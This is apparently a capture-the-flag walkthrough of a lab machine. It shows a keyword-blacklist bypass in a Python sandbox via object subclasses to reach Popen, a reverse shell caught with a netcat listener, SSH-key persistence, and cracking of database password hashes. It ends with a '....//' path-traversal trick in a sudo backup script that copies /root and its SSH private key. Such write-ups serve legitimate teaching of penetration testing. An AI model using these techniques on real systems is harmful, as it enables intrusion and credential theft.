Introduction #
The box starts with a website with a Python code editor. Its blacklist blocks basic attempts for the sandbox escape but it can be bypassed to get RCE. I find database with next user’s credentials and use this account to move to root. For that, I use a backup utility, backy, I can run with sudo. The script tries to prevent backups from outside of /var/ and /home/, but using simple trick commonly used with directory traversal filters I can get backup of /root.
Recon #
nmap #
nmap finds two open TCP ports, 22 (SSH) and 5000 (HTTP):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.231.240
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
| 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:15
Completed NSE at 04:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:15
Completed NSE at 04:15, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:15
Completed NSE at 04:15, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds
Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.036KB)
Website - TCP 5000 #
The website is a Python code editor:

Attempts to import packages or use stuff like execute() are stopped:

The blacklist seems to check the strings as import_ still returns the same “Use of restricted keywords is not allowed.” message:

But mistyped stuff like mport returns a Python error:

Shell as app-production #
As the site most likely enforces keyword-based filter and not actual execution restrictions I can try to get a shell without typing any of the banned words.
Object Tree #
In Python, the inheritance tree (class hierarchy) is a structural map where every class is connected to a parent, tracing all the way back to a single root: the object class.
Because of this “Everything is an Object” philosophy, any class you create automatically inherits basic behaviors from the top of the tree. This hierarchy allows for method resolution, where Python climbs the branches to find the right logic to execute, ensuring that even the most complex custom class still shares a common DNA with the rest of the language.
I can “climb up” the inheritance tree to the root object and then look back down to see every class currently loaded in the Python interpreter sing this:
().__class__.__bases__[0].subclasses__()
The output of this command is a list of class objects representing every direct subclass of the base object class currently loaded in your Python environment.

I can look through this list for the os._wrap_close or subprocess.Popen classes, which can then be used to run shell commands even if the os module was never explicitly imported.
Because the output did not fit the page I had to resend the request using burp. And there on position 317 I found popen:

Using that I am able to get a shell:

After running that I get a hit on my awaiting listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.47] from (UNKNOWN) [10.129.231.240] 52452
bash: cannot set terminal process group (1384): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
SSH #
The shell crashed on me few times so I established ssh connection.
I generated ssh keys:
└─$ ssh-keygen -t ed25519 -C "0o176@0o176.com"
and created .ssh folder with authorized_keys:
app-production@code:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHyX+vUFl0Y4KMLAtLM9f4I83VzQ8XgRFiCVZavwXe32 0o176@0o176.com" > authorized_keys
<8XgRFiCVZavwXe32 0o176@0o176.com" > authorized_keys
app-production@code:~/.ssh$ ls -la
ls -la
total 12
drwxr-xr-x 2 app-production app-production 4096 Dec 29 10:09 .
drwxr-x--- 6 app-production app-production 4096 Dec 29 10:04 ..
-rw-r--r-- 1 app-production app-production 97 Dec 29 10:09 authorized_keys
Then I was able to use ssh for stable connection:
└─$ ssh -i id_ed25519 app-production@10.129.231.240
<SNIP>
app-production@code:~$
Shell as matrin #
There was a database.db in ~/app/instance/
app-production@code:~/app/instance$ ls -la
total 24
drwxr-xr-x 2 app-production app-production 4096 Dec 29 09:17 .
drwxrwxr-x 6 app-production app-production 4096 Feb 20 2025 ..
-rw-r--r-- 1 app-production app-production 16384 Dec 29 10:10 database.db
Which contained credentials for two accounts:
app-production@code:~/app/instance$ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001
app-production@code:~/app/instance$ sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
code user
sqlite> .headers on
sqlite> select * from user;
id|username|password
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
sqlite>
I used Crackstation to get the passwords:

The password for martin worked with su:
app-production@code:~/app/instance$ su martin
Password:
martin@code:/home/app-production/app/instance$
Root #
Martin can run /usr/bin/backy.sh:
martin@code:/home/app-production/app/instance$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
backy #
It is a backup script pulling config fron .json file.
martin@code:~/backups$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
martin@code:/home/app-production/app/instance$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
It is limited to run only on /var/ and /home/, and blocking any directory traversal by replacing ../ with nothing.
I tried the simplest trick to avoid directory traversal protections:
By using ....// instead of standard ../, the string gets removed ..(../)/ leaving the remaining ../.
And it worked:
martin@code:~$ nano task.json
martin@code:~$ cat task.json
{
"destination": "/dev/shm/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/....//root/"
]
}
martin@code:~$ sudo backy.sh task.json
2025/12/29 10:40:14 🍀 backy 1.2
2025/12/29 10:40:14 📋 Working with task.json ...
2025/12/29 10:40:14 💤 Nothing to sync
2025/12/29 10:40:14 📤 Archiving: [/var/../root]
2025/12/29 10:40:14 📥 To: /dev/shm ...
2025/12/29 10:40:14 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.selected_editor
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc
I got the backup of /root and with that the flag!